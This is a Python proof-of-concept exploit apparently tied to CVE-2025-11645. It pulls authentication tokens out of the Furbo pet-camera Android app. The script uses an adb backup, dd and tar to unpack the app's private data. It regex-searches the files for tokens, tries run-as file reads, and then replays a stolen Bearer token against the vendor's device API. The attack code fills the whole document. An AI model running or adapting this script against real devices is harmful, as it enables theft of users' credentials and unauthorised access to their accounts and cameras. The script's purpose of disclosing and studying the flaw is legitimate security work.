# CVE-2025-11645 PoC - Furbo Mobile App Insecure Token Storage
# This PoC demonstrates how to extract authentication tokens from the Furbo Android app
# Requires physical access to the target device
import subprocess
import os
import re
def extract_furbo_token():
"""
Extract authentication token from Furbo Mobile App's insecure storage.
The app stores authentication tokens in plaintext within its private data directory.
"""
# Step 1: Check if ADB is available and device is connected
result = subprocess.run(['adb', 'devices'], capture_output=True, text=True)
if 'device' not in result.stdout:
print("No Android device connected via ADB")
return None
# Step 2: Attempt to backup the Furbo app data
# Package name for Tomofun Furbo app
package_name = "com.tomofun.furbo"
backup_path = "/tmp/furbo_backup.ab"
print(f"[*] Attempting to backup {package_name} data...")
subprocess.run(['adb', 'backup', '-f', backup_path, package_name], capture_output=True)
# Step 3: Extract backup contents
if os.path.exists(backup_path):
print("[*] Backup created. Extracting contents...")
subprocess.run(['dd', f'if={backup_path}', 'ibs=24', 'skip=1',
'of=/tmp/furbo_backup.tar'], capture_output=True)
subprocess.run(['tar', '-xf', '/tmp/furbo_backup.tar', '-C', '/tmp/furbo_extracted/'],
capture_output=True)
# Step 4: Search for authentication tokens in extracted data
token_pattern = re.compile(r'(token|auth_token|access_token|jwt)"\s*:\s*"([^"]+)"')
for root, dirs, files in os.walk('/tmp/furbo_extracted/'):
for file in files:
filepath = os.path.join(root, file)
try:
with open(filepath, 'r', errors='ignore') as f:
content = f.read()
matches = token_pattern.findall(content)
if matches:
for match in matches:
print(f"[+] Found token in {filepath}: {match[1]}")
return match[1]
except Exception:
pass
# Alternative: Direct extraction via run-as (if debuggable)
print("[*] Attempting direct extraction via run-as...")
result = subprocess.run(
['adb', 'shell', 'run-as', package_name, 'find', '.', '-name', '*.xml', '-o', '-name', '*.db'],
capture_output=True, text=True
)
for filepath in result.stdout.strip().split('\n'):
if filepath:
full_path = f"/data/data/{package_name}/{filepath}"
subprocess.run(['adb', 'shell', 'run-as', package_name, 'cat', full_path],
capture_output=True, text=True)
return None
def use_extracted_token(token):
"""
Demonstrate using the extracted token to access Furbo API.
"""
import requests
api_endpoint = "https://api.tomofun.com/v1/devices"
headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json"
}
response = requests.get(api_endpoint, headers=headers)
if response.status_code == 200:
print("[+] Successfully accessed Furbo API with extracted token!")
print(response.json())
else:
print(f"[-] Token may be expired or invalid. Status: {response.status_code}")
if __name__ == "__main__":
print("=" * 60)
print("CVE-2025-11645 - Furbo Insecure Token Storage PoC")
print("=" * 60)
token = extract_furbo_token()
if token:
use_extracted_token(token)
else:
print("[-] Could not extract token. Ensure physical access to device.")